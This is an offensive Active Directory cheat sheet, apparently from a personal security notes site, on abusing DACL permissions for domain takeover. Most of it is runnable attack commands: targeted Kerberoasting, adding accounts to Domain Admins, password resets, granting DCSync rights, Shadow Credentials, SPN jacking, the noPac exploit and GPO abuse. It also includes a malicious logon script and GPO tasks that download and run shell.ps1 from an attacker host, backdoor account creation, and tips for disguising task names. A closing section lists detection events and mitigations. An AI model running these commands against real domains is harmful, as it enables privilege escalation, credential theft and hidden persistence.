ᛉ Yggdrasil

Active Directory

DACL Attacks

15 Sep 2026 · 4,627 words · 21 min

Contents

Legend: [ANY] = Any domain user | [WRITE] = Write rights on target object | [DA] = Domain Admin | [GPO-WRITE] = Write access on a GPO object


1. Understanding DACLs

1.1 DACLs Overview

What it means: A DACL (Discretionary Access Control List) is attached to every Active Directory object (users, groups, computers, OUs, GPOs, the domain itself). It defines who can do what to that object. Each entry in a DACL is called an ACE (Access Control Entry). If your account — or any group you belong to — has a permissive ACE on a target object, you canabuse it to escalate privileges. BloodHound visualizes these as edges.

AD Object (e.g., User: bob)  
│  
├── DACL  
│ ├── ACE 1: DOMAIN ADMINS → Full Control (GenericAll)  
│ ├── ACE 2: alice → GenericWrite ←  attacker can exploit this  
│ └── ACE 3: Everyone → Read
Right What it Allows Attack
GenericAll Full control Anything — reset pass, RBCD, DCSync
GenericWrite Write non-protected attrs Add SPN → Kerberoast, Shadow Creds
WriteOwner Change object owner Take ownership → WriteDACL → anything
WriteDACL Modify the DACL itself Grant yourself GenericAll
ForceChangePassword Reset password without knowing old one Account takeover
AddMember / WriteProperty (member) Add users to group Add self to Domain Admins
WriteProperty (msDS-KeyCredentialLink) Modify certificate credential Shadow Credentials
WriteProperty (servicePrincipalName) Add SPN to account Targeted Kerberoasting
WriteProperty (scriptPath) Modify logon script Code execution on login
GetChanges + GetChangesAll Replicate domain data DCSync

1.2 DACLs Enumeration

What it means: Before exploiting a DACL, you must find which objects you have abusable rights on. BloodHound gives you a visual attack path. PowerView gives you raw ACE data. The goal is to find where your current user (or groups it belongs to) has rights that lead toward DA.


# Linux — collect all DACL data
bloodhound-python -u attacker -p 'Pass123!' -d lab.local \
  -dc dc01.lab.local -c All --zip
# Import the .zip into BloodHound

# Windows — SharpHound with ACL collection
.\SharpHound.exe -c ACL,Default --zipfilename results.zip
.\SharpHound.exe -c All --zipfilename results.zip

BloodHound queries to run after import: - "Find Shortest Paths to Domain Admins" - "Find Principals with DCSync Rights" - "Shortest Paths from Owned Principals" - Right-click your user → "Reachable High Value Targets"


PowerView — Manual DACL Enumeration

# Find ALL interesting ACLs for any principal in the domain
Find-InterestingDomainAcl -ResolveGUIDs

# Filter for ACEs where the attacker (or a group attacker is in) is the principal
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -match "attacker|TargetGroup"
}

# Get ACL for a specific object
Get-DomainObjectAcl -Identity 'bob' -ResolveGUIDs

# Get ACL for a group
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs

# Get ACL for the domain object itself (DCSync rights)
Get-DomainObjectAcl -Identity 'DC=lab,DC=local' -ResolveGUIDs |
    Where-Object { $_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite" }

# Check who owns an object
Get-DomainObject -Identity bob | Select-Object objectsid, ntsecuritydescriptor

# Find ACLs assigned to a specific SID
$sid = (Get-DomainUser attacker).objectsid
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.SecurityIdentifier -eq $sid
}

dacledit.py — Linux DACL Enumeration

# Read all ACEs on a specific object
dacledit.py -action read -target 'bob' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Read ACEs on the domain object
dacledit.py -action read \
  -target-dn 'DC=lab,DC=local' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Read ACEs on a computer
dacledit.py -action read -target 'WS01$' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

BloodyAD — Enumeration

# Get all rights on an object
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  get object bob --attr ntSecurityDescriptor

# List members of a group
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  get object "Domain Admins" --attr member

2. Abusing DACLs

2.1 Targeted Kerberoasting

What it means: Normally, Kerberoasting only works on accounts that already have an SPN. But if you have WriteProperty on the servicePrincipalName attribute (or GenericWrite/ GenericAll) over a user, you can add a fake SPN to any account — even a DA — making it Kerberoastable on demand. After cracking, remove the SPN to clean up.

Requires: [WRITE] WriteProperty (servicePrincipalName) or GenericWrite on target user.


Step 1 — Confirm Write Rights

# PowerView — check if you can write SPN on target
Get-DomainObjectAcl -Identity 'targetuser' -ResolveGUIDs |
    Where-Object {
        $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|GenericAll' -and
        $_.ObjectAceType -match 'servicePrincipalName'
    }

Step 2 — Add Fake SPN to Target

# PowerView — add SPN
Set-DomainObject -Identity targetuser \
  -Set @{serviceprincipalname='fake/roast.lab.local'}

# Verify
Get-DomainUser targetuser | Select SamAccountName, ServicePrincipalName
# bloodyAD (Linux)
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set object targetuser servicePrincipalName -v 'fake/roast.lab.local'

Step 3 — Kerberoast the Target

# Impacket
GetUserSPNs.py lab.local/attacker:Pass123! -dc-ip <DC_IP> \
  -request-user targetuser -outputfile targeted.hash

# Rubeus (Windows)
Rubeus.exe kerberoast /user:targetuser /outfile:targeted.hash /nowrap

Step 4 — Crack and Cleanup

hashcat -m 13100 targeted.hash /usr/share/wordlists/rockyou.txt

# Remove the SPN after cracking (opsec cleanup)
Set-DomainObject -Identity targetuser -Clear serviceprincipalname
# Linux cleanup
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set object targetuser servicePrincipalName -v ''

⚠️ Why powerful: You can force Kerberoast privileged accounts (e.g., DA) that don't normally have SPNs. If they use a weak password, you get DA credentials.


2.2 AddMembers

What it means: If you have WriteProperty on the member attribute (or GenericAll/ GenericWrite) on a group, you can add any user to that group — including yourself or a controlled account. If the group is Domain Admins, Enterprise Admins, Backup Operators, etc., you immediately inherit those privileges.

Requires: [WRITE] AddMember / WriteProperty (member) / GenericWrite / GenericAll on group.


# PowerView — add attacker to group
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'attacker'

# Add any controlled user
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'eviluser'

# Verify membership
Get-DomainGroupMember -Identity 'Domain Admins' | Select MemberName
# bloodyAD (Linux)
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  add groupMember "Domain Admins" attacker

# net rpc
net rpc group addmem "Domain Admins" attacker \
  -U 'LAB/attacker%Pass123!' -S <DC_IP>

# Impacket
addToGroupMember.py -dc-ip <DC_IP> 'lab.local/attacker:Pass123!' \
  -group "Domain Admins" -member attacker

After Adding to DA Group

# Refresh token on Windows (relog or new shell)
# On Linux — get new TGT with updated group membership
getTGT.py lab.local/attacker:Pass123! -dc-ip <DC_IP>
export KRB5CCNAME=attacker.ccache
secretsdump.py -k -no-pass lab.local/attacker@dc01.lab.local

2.3 Password Abuse

What it means: If you have the ForceChangePassword extended right (or GenericAll) on a user, you can reset their password without knowing the current one. This is a direct account takeover. Less stealthy than Shadow Credentials (the real user gets locked out), but very common in CTFs.

Requires: [WRITE] ForceChangePassword / GenericAll on target user.


# PowerView — force reset (in-memory secure string)
$NewPassword = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $NewPassword -Verbose

# Verify
Get-DomainUser targetuser | Select SamAccountName
# bloodyAD (Linux) — no old password needed
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set password targetuser 'NewPass123!'

# net rpc
net rpc password targetuser 'NewPass123!' \
  -U 'LAB/attacker%Pass123!' -S <DC_IP>

# Impacket changepasswd
changepasswd.py lab.local/targetuser \
  -newpass 'NewPass123!' \
  -altuser attacker \
  -altpass 'Pass123!' \
  -dc-ip <DC_IP>

After Taking Over the Account

# Auth as the new user
crackmapexec smb <DC_IP> -u targetuser -p 'NewPass123!'

# If targetuser is DA
secretsdump.py lab.local/targetuser:NewPass123!@<DC_IP> -just-dc

⚠️ Opsec Note: Changing a real user's password will lock them out and will likely trigger a helpdesk ticket. Prefer Shadow Credentials for stealth when PKINIT is available.


2.4 Granting Rights and Ownership

What it means: If you have WriteDACL or WriteOwner on an object, you can modify its permissions entirely. WriteDACL lets you write any ACE — including granting yourself GenericAll. WriteOwner lets you take ownership, which implicitly grants you WriteDACL, then you grant yourself anything you want. This is a 2-step privilege escalation.

Requires: [WRITE] WriteDACL or WriteOwner on target object.


WriteDACL — Grant Yourself Full Control

# PowerView — grant GenericAll to attacker on a user
Add-DomainObjectAcl -TargetIdentity targetuser \
  -PrincipalIdentity attacker -Rights All

# Grant GenericAll on Domain Admins group
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' \
  -PrincipalIdentity attacker -Rights WriteMembers

# Grant DCSync on domain object
Add-DomainObjectAcl -TargetIdentity 'DC=lab,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync
# dacledit.py (Linux) — grant full control
dacledit.py -action write -rights FullControl \
  -principal attacker \
  -target targetuser \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Grant DCSync
dacledit.py -action write -rights DCSync \
  -principal attacker \
  -target-dn 'DC=lab,DC=local' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

WriteOwner — Take Ownership First

# Step 1: Take ownership of target object
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity attacker

# Step 2: Now you have implicit WriteDACL as owner — grant yourself GenericAll
Add-DomainObjectAcl -TargetIdentity targetuser \
  -PrincipalIdentity attacker -Rights All

# Step 3: Now perform any attack (password reset, Shadow Creds, Kerberoast, etc.)
$NewPassword = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $NewPassword
# bloodyAD — set owner
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set owner targetuser attacker

3. Attribute Modification

3.1 Shadow Credentials

What it means: The msDS-KeyCredentialLink attribute stores certificate-based credentials for Windows Hello for Business (WHfB). If you have WriteProperty on this attribute (or GenericWrite/GenericAll) over a user or computer, you can add a keypair you control. Then you authenticate as that user using PKINIT Kerberos — getting their TGT and NT hash — without touching their password at all. This is the stealthiest account takeover method.

Requires: WriteProperty on msDS-KeyCredentialLink (or GenericWrite/GenericAll). Domain Functional Level ≥ 2016 or ADCS with a CA supporting PKINIT.


Enumerate Existing Shadow Credentials

# pywhisker — list existing key credentials on target
python3 pywhisker.py -d lab.local -u attacker -p 'Pass123!' \
  --target targetuser --action list --dc-ip <DC_IP>

# certipy — check attribute
certipy find -u attacker@lab.local -p 'Pass123!' -dc-ip <DC_IP> \
  -vulnerable -stdout

Exploit — Add Shadow Key and Get NT Hash

# certipy (all-in-one — recommended)
# Auto: adds key credential, authenticates via PKINIT, outputs NT hash, cleans up
certipy shadow auto -u attacker@lab.local -p 'Pass123!' \
  -account targetuser -dc-ip <DC_IP>
# Output: NT hash for targetuser

# Manual steps with certipy:
# Step 1: Add the key credential
certipy shadow add -u attacker@lab.local -p 'Pass123!' \
  -account targetuser -dc-ip <DC_IP>
# Saves: targetuser.pfx

# Step 2: Authenticate with the certificate via PKINIT
certipy auth -pfx targetuser.pfx -dc-ip <DC_IP>
# Output: TGT (.ccache) + NT hash

# Step 3: Use the NT hash or TGT
export KRB5CCNAME=targetuser.ccache
crackmapexec smb <TARGET> -u targetuser -H <NT_HASH>
# pywhisker (alternative)
python3 pywhisker.py -d lab.local -u attacker -p 'Pass123!' \
  --target targetuser --action add --dc-ip <DC_IP>
# Saves certificate + private key locally

# Authenticate with PKINITtools
python3 gettgtpkinit.py -cert-pfx targetuser.pfx lab.local/targetuser targetuser.ccache
export KRB5CCNAME=targetuser.ccache

# Get NT hash from TGT
python3 getnthash.py -key <AS-REP-key> lab.local/targetuser
# Windows — Whisker.exe
# List
Whisker.exe list /target:targetuser

# Add key credential
Whisker.exe add /target:targetuser /domain:lab.local \
  /dc:dc01.lab.local /path:cert.pfx /password:P@ssword1

# Then use Rubeus with the certificate
Rubeus.exe asktgt /user:targetuser /certificate:cert.pfx /password:P@ssword1 /ptt

# Remove key after use (cleanup)
Whisker.exe remove /target:targetuser /domain:lab.local \
  /dc:dc01.lab.local /remove:<DeviceID_GUID>

Shadow Credentials on Computer Account (DC Takeover)

# Add shadow key on DC machine account
certipy shadow auto -u attacker@lab.local -p 'Pass123!' \
  -account 'DC01$' -dc-ip <DC_IP>
# Get DC machine account hash

# Use S4U2Self to impersonate any user to the DC
getST.py -spn 'cifs/dc01.lab.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> \
  -hashes :<DC_MACHINE_NTLM_HASH> 'lab.local/DC01$'

export KRB5CCNAME=Administrator@cifs_dc01.ccache
secretsdump.py -k -no-pass dc01.lab.local

⚠️ Detection: Event ID 5136 on DC when msDS-KeyCredentialLink is modified. 4768 on PKINIT authentication. Monitor for unexpected certificate-based TGT requests.


3.2 Logon Scripts

What it means: The scriptPath attribute on a user object points to a script that runs every time that user logs in. If you have WriteProperty on scriptPath (or GenericWrite/ GenericAll) over a user, you can point their logon script to a malicious file on an attacker-controlled share. The next time the victim logs in, your code executes in their security context — fully silent to the user.

Requires: WriteProperty (scriptPath) or GenericWrite/GenericAll on target user.


Step 1 — Set Up Malicious Script on Share

# On attacker machine — create malicious script
cat > evil.bat << 'EOF'
@echo off
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')"
EOF

# Share it via Impacket SMB server
smbserver.py share /tmp/scripts -smb2support

# Or via Python HTTP server for download-and-run approach
python3 -m http.server 8080

Step 2 — Set the scriptPath Attribute

# PowerView — point victim's logon script to attacker share
Set-DomainObject -Identity targetuser \
  -Set @{scriptPath='\\<ATTACKER_IP>\share\evil.bat'}

# Verify it was set
Get-DomainUser targetuser | Select SamAccountName, scriptPath
# bloodyAD (Linux)
bloodyAD -u attacker -p 'Pass123!' -d lab.local --host <DC_IP> \
  set object targetuser scriptPath -v '\\<ATTACKER_IP>\share\evil.bat'

# AD Module (Windows)
Set-ADUser -Identity targetuser -ScriptPath '\\<ATTACKER_IP>\share\evil.bat'

Step 3 — Wait for Victim Login / Trigger Login

# Catch the reverse shell
nc -lvnp 4444

# Verify Responder to capture auth from logon script execution
sudo responder -I eth0 -dwv

# On Windows, you can force a GPUpdate to trigger scripts
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' \
  -x "gpupdate /force"

Modify SYSVOL Logon Script (Domain-Wide — needs DA or SYSVOL write)

# SYSVOL scripts run for ALL domain users
# Path: \\lab.local\SYSVOL\lab.local\scripts\

# Write malicious script to SYSVOL
smbclient.py -k -no-pass //dc01.lab.local/SYSVOL
# put evil.bat lab.local/scripts/evil.bat

# Point users to it via GPO or scriptPath

⚠️ Detection: Event ID 4738 (user account changed) captures scriptPath modifications. Monitor for UNC paths pointing to external IPs.


4. Spoofing

4.1 SPN Jacking

What it means: SPN-jacking combines KCD (Constrained Delegation) abuse with DACL WriteSPN abuse. The idea: Server A is configured for KCD to Server B's SPN. You have WriteSPN on both Server B and Server C (the real target). You remove Server B's SPN, add it to Server C, then use Server A's KCD to get a service ticket for that SPN — which is now on Server C. Finally, you edit the ticket's SPN field to match Server C's actual SPN using tgssub.py. The result: a valid impersonation ticket for Server C without ever touching it directly.

Requires: WriteSPN on the "jacked" server (Server B) AND on the real target (Server C), plus credentials/access to Server A which has KCD configured.


Step 1 — Find the KCD Configuration

# Find what SPNs Server A is allowed to delegate to
findDelegation.py -user 'serverA$' lab.local/attacker:Pass123!

# PowerView
Get-DomainComputer serverA | Select msds-allowedtodelegateto

Step 2 — Check if You Have WriteSPN on Server B

Get-DomainObjectAcl -Identity 'serverB$' -ResolveGUIDs |
  Where-Object {
    $_.ActiveDirectoryRights -match 'WriteProperty' -and
    $_.ObjectAceType -match 'servicePrincipalName' -and
    $_.SecurityIdentifier -match (Get-DomainUser attacker).objectsid
  }

Step 3 — Remove SPN from Server B (Live SPN-Jacking)

# Remove cifs/serverB SPN from Server B
addspn.py --clear -t 'ServerB$' \
  -u lab.local/attacker -p 'Pass123!' \
  dc01.lab.local

Step 4 — Add that SPN to Server C (Your Real Target)

# Add cifs/serverB SPN to Server C
addspn.py -t 'ServerC$' \
  --spn "cifs/serverB" \
  -u lab.local/attacker -p 'Pass123!' \
  -c dc01.lab.local

Step 5 — Request Impersonating Service Ticket via KCD

# Use Server A's credentials with S4U to get a ticket for cifs/serverB
getST.py -spn 'cifs/serverB' \
  -impersonate Administrator \
  lab.local/'serverA$':SrvAPass123!
# Output: Administrator@cifs_serverB.ccache

Step 6 — Edit the Ticket's SPN to Point to Server C

# tgssub — rewrite the SPN in the ticket
tgssub.py -in serverB.ccache \
  -out serverC.ccache \
  -altservice 'cifs/serverC'

export KRB5CCNAME=serverC.ccache
secretsdump.py -k -no-pass serverC.lab.local
smbclient.py -k -no-pass //serverC.lab.local/C$

⚠️ Why useful in CTFs: When you find WriteSPN but KCD doesn't directly target your goal, SPN jacking lets you redirect the delegation path to the machine you actually want.


4.2 sAMAccountName Spoofing — noPac

What it means: This exploits two CVEs together: - CVE-2021-42278 — No validation prevents a machine account's sAMAccountName from being changed to match a DC's name (without the trailing $). - CVE-2021-42287 — When a TGT is requested for an account that no longer exists (because the name was changed back), the KDC searches for <name>$ and finds the DC — issuing a ticket for the DC itself.

Combined result: Any domain user with the ability to create a machine account can obtain a TGT for a DC machine account — giving full DCSync capability. This is a Domain Admin in one command on unpatched DCs.

Requires: [ANY] — just a standard domain user + MachineAccountQuota ≥ 1 (default = 10). Target DC must be unpatched (before KB5008102, KB5008380).


Quick Check — Is the Domain Vulnerable?

# Check DC patch level / OS version
crackmapexec smb <DC_IP> -u attacker -p 'Pass123!'
# If DC is pre-Nov 2021 patch, likely vulnerable

# Check MachineAccountQuota
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' -M maq
# Default = 10; any value > 0 = exploitable

Automated Exploit — noPac (One Command)

# noPac.py — full automated exploit (creates machine, spoofs, gets DC hash)
# GitHub: Ridter/noPac

# Scan — check if vulnerable
python3 scanner.py lab.local/attacker:Pass123! -dc-ip <DC_IP> -use-ldap

# Exploit — get shell
python3 noPac.py lab.local/attacker:Pass123! -dc-ip <DC_IP> \
  -dc-host dc01 --impersonate administrator -shell

# Exploit — dump all hashes
python3 noPac.py lab.local/attacker:Pass123! -dc-ip <DC_IP> \
  -dc-host dc01 --impersonate administrator \
  -dump -just-dc-user lab.local/administrator
# Alternative — sam-the-admin (another noPac implementation)
python3 sam_the_admin.py lab.local/attacker:Pass123! \
  -dc-ip <DC_IP> -shell

Manual Exploit — Step by Step

# Step 1: Create a machine account
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil123!' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 2: Rename sAMAccountName to match DC (no trailing $)
renameMachine.py -current-name 'EVIL$' -new-name 'DC01' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 3: Get TGT using the spoofed name
getTGT.py lab.local/'DC01':Evil123! -dc-ip <DC_IP>
export KRB5CCNAME=DC01.ccache

# Step 4: Rename back BEFORE using the ticket
renameMachine.py -current-name 'DC01' -new-name 'EVIL$' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 5: Use the TGT to get a service ticket (S4U2Self for Administrator)
getST.py -spn 'cifs/dc01.lab.local' -impersonate Administrator \
  -dc-ip <DC_IP> -k -no-pass lab.local/DC01
export KRB5CCNAME=Administrator@cifs_dc01.ccache

# Step 6: DCSync
secretsdump.py -k -no-pass lab.local/Administrator@dc01.lab.local

⚠️ Detection: Event ID 4741 (machine account created), 4742 (machine account changed) on the DC. Patch: Apply KB5008102 (Nov 2021 Patch Tuesday).


5. Group Policy (GPO) Attacks

5.1 GPO Introduction

What it means: A Group Policy Object (GPO) is a container of settings pushed to all computers and users in a linked OU. GPOs can install software, configure registry keys, run scripts, manage local groups, and more. If you have write rights on a GPO that is linked to a high-value OU (Domain Controllers, Domain Computers), you can push arbitrary commands to every machine in that OU — effectively mass code execution.

Domain  
├── OU: Domain Controllers ← GPO "DC Policy" linked here  
│ └── DC01, DC02  
├── OU: Servers ← GPO "Server Policy" linked here  
│ └── WS01, WS02  
└── OU: Users ← GPO "User Policy" linked here  
└── bob, alice
Right on GPO What you can do
GenericAll Modify any setting in the GPO
GenericWrite Write GPO settings
WriteProperty Write specific GPO properties
WriteOwner Take ownership → WriteDACL
WriteDACL Grant yourself GenericAll

5.2 GPO Attacks

What it means: Once you have write rights on a GPO, you can configure it to create local admins, run scheduled tasks, execute logon/startup scripts, or set user rights — all pushing to every machine in the linked OU on next GPO refresh (every ~90 minutes by default, or forced).


Step 1 — Find Writable GPOs

# PowerView — find GPOs you can write to
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|GenericAll' -and
    $_.SecurityIdentifier -eq (Get-DomainUser attacker).objectsid
}

# Get which OUs are linked to that GPO
Get-DomainGPOLinkedObject -GPOIdentity "<GPO_NAME_OR_GUID>"

# Get GPO GUID from display name
Get-DomainGPO -Identity "Default Domain Policy" | Select DisplayName, Name
# BloodHound — look for WriteGPLink, GenericWrite on GPO edges
# Query: "Find GPO write permissions"

# bloodhound-python includes GPO data in -c All collection

Attack A — Add Local Admin via GPO

# SharpGPOAbuse (Windows)
.\SharpGPOAbuse.exe --AddLocalAdmin \
  --UserAccount attacker \
  --GPOName "Vulnerable GPO"
# pyGPOAbuse (Linux)
python3 pygpoabuse.py -u attacker -p 'Pass123!' \
  -d lab.local -dc-ip <DC_IP> \
  -gpo-id '<GPO_GUID>' \
  -type localadmin -user attacker

Attack B — Scheduled Task (Code Execution)

# SharpGPOAbuse — add immediate scheduled task on computers
.\SharpGPOAbuse.exe --AddComputerTask \
  --TaskName "WindowsUpdate" \
  --Author "NT AUTHORITY\SYSTEM" \
  --Command "cmd.exe" \
  --Arguments "/c net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" \
  --GPOName "Vulnerable GPO"

# User-context task (runs when target user logs in)
.\SharpGPOAbuse.exe --AddUserTask \
  --TaskName "ChromeUpdate" \
  --Author "lab\da_user" \
  --Command "cmd.exe" \
  --Arguments "/c powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')" \
  --GPOName "Vulnerable GPO"
# pyGPOAbuse — scheduled task
python3 pygpoabuse.py -u attacker -p 'Pass123!' \
  -d lab.local -dc-ip <DC_IP> \
  -gpo-id '<GPO_GUID>' \
  -type task \
  -command "cmd.exe" \
  -arguments "/c powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')"

Attack C — Logon/Startup Script via GPO

# SharpGPOAbuse — add startup script to GPO
.\SharpGPOAbuse.exe --AddUserScript \
  --ScriptName "startup.bat" \
  --ScriptContents "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')" \
  --GPOName "Vulnerable GPO"

Attack D — Add User Rights

# Grant SeDebugPrivilege and Remote Logon right
.\SharpGPOAbuse.exe --AddUserRights \
  --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" \
  --UserAccount attacker \
  --GPOName "Vulnerable GPO"

Step 3 — Force GPO Refresh on Targets

# CrackMapExec — force gpupdate on all targets
crackmapexec smb <TARGET_SUBNET>/24 -u attacker -p 'Pass123!' \
  -x "gpupdate /force"

# Single target
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' \
  -M gpupdate

⚠️ Opsec Note: GPO changes generate Event ID 5136 (Directory Service object modified) on the DC. Scheduled tasks created via GPO are visible in Event ID 4698 on target machines. Backdoor with a task name that looks legitimate (e.g., "Windows Defender Update").


6. Defense — Detection & Mitigation

DACL Hardening

Control How to Implement
Audit ACL changes Enable "Audit Directory Service Changes" → Event 5136, 4662
Restrict DACL modification Remove unnecessary WriteOwner/WriteDACL from non-admin accounts
Use Protected Users group Prevents delegation and credential caching for privileged accounts
Tier 0 separation Isolate DA accounts from workstations and non-DC servers
BloodHound regular audits Run weekly to find new attack paths before attackers do
Remove GenericAll on users No non-admin account should have GenericAll on another account

DACL Monitoring — Key Event IDs

Event ID Meaning Triggered By
5136 Directory Service object modified ACL changes, SPN changes, scriptPath, msDS-KeyCredentialLink
4662 AD object operation performed DCSync, extended rights use
4738 User account was changed scriptPath, SIDHistory, UAC flag changes
4741 Computer account was created Machine account creation (noPac Step 1)
4742 Computer account was changed sAMAccountName rename (noPac Step 2)
4728/4756 Member added to security group AddMembers abuse
4768 TGT requested (Kerberos) Shadow Credentials PKINIT auth
4769 TGS requested Kerberoasting, SPN Jacking
4698 Scheduled task created GPO task abuse
4703 Token privilege enabled SeDebugPrivilege abuse

Mitigations Per Attack

Attack Mitigation
Targeted Kerberoasting Use gMSA for service accounts; enforce AES-only encryption
Shadow Credentials Monitor msDS-KeyCredentialLink (5136); restrict write access
Logon Script Abuse Monitor scriptPath changes (4738); audit SYSVOL
sAMAccountName Spoofing Patch KB5008102; set MachineAccountQuota = 0
SPN Jacking Monitor SPN additions/removals (5136); audit delegation configs
GPO Abuse Audit GPO permissions with BloodHound; restrict GPO edit rights
WriteDACL / WriteOwner Review ACLs quarterly; alert on privilege path changes
AddMembers Alert on additions to privileged groups (4728/4756)

7. Scenario Matrix

Attack Required Right Target Object Key Tool
Targeted Kerberoasting WriteProperty (SPN) User bloodyAD, GetUserSPNs
AddMembers WriteProperty (member) / GenericWrite Group bloodyAD, PowerView
Password Abuse ForceChangePassword / GenericAll User bloodyAD, net rpc
Grant DCSync WriteDACL on Domain Domain dacledit.py, PowerView
Grant Ownership WriteOwner Any PowerView, bloodyAD
Shadow Credentials WriteProperty (KeyCredentialLink) User / Computer certipy, pywhisker
Logon Script WriteProperty (scriptPath) User Set-DomainObject
SPN Jacking WriteSPN on 2 computers + KCD source Computer addspn.py, tgssub.py
noPac / sAMAccountName Any domain user + MAQ > 0 Domain noPac.py, sam-the-admin
GPO Task / Script GenericWrite on GPO GPO SharpGPOAbuse, pyGPOAbuse
GPO Local Admin GenericWrite on GPO GPO SharpGPOAbuse

8. Tool Cheat Sheet

Tool Install Role
PowerView.ps1 GitHub/PowerSploit DACL enumeration, ACE writes, SPN abuse
BloodHound + SharpHound GitHub Visual attack path, ACL edges
bloodhound-python pip install bloodhound BloodHound collection from Linux
dacledit.py Impacket Read/write DACLs from Linux
bloodyAD pip install bloodyad LDAP-based DACL abuse
certipy pip install certipy-ad Shadow Credentials, ADCS attacks
pywhisker.py GitHub msDS-KeyCredentialLink manipulation
Whisker.exe GitHub Shadow Credentials (Windows)
SharpGPOAbuse.exe GitHub GPO abuse (Windows)
pyGPOAbuse.py pip install pygpoabuse GPO abuse (Linux)
noPac.py GitHub (Ridter) sAMAccountName spoofing exploit
sam_the_admin.py GitHub noPac alternative
addspn.py Impacket Add/remove SPNs (SPN Jacking)
tgssub.py PKINITtools Edit SPN field in Kerberos ticket
getST.py Impacket S4U tickets for delegation + SPN Jacking
findDelegation.py Impacket Find KCD targets
gettgtpkinit.py PKINITtools PKINIT auth with certificates
GetUserSPNs.py Impacket Kerberoasting
changepasswd.py Impacket Password abuse via ForceChangePassword

← Active Directory top ↑